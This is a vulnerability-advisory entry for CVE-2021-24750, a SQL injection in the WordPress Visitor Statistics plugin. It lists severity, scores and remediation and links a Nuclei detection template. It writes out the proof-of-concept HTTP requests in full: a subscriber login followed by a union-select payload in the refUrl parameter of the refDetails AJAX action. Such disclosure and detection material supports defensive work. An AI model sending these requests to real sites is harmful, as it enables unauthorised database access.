| Title | WordPress Visitor Statistics (Real Time Traffic) <4.8 -SQL Injection |
|---|---|
| Author | cckuakilong |
| Severity | High |
| Impact | Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage. |
| Remediation | Update to the latest version of the WordPress Visitor Statistics (Real Time Traffic) plugin (version 4.8 or higher) to mitigate the SQL Injection vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.69584 |
| CVE ID | CVE-2021-24750 |
| CWE ID | CWE-89 |
| Tags | cve2021 cve authenticated wpscan sqli wp wordpress wp-plugin wp_visitor_statistics_\(real_time_traffic\)_project vkev vuln |
WordPress Visitor Statistics (Real Time Traffic) plugin before 4.8 does not properly sanitize and escape the refUrl in the refDetails AJAX action, which is available to any authenticated user. This could allow users with a role as low as subscriber to perform SQL injection attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=8ZYvLU&pwd=LPI4YT&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin-ajax.php?action=refDetails&requests=%7B%22refUrl%22:%22'%20union%20select%201,1,md5(2897),4--%20%22%7D HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24750.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24750.pcap
N/AN/A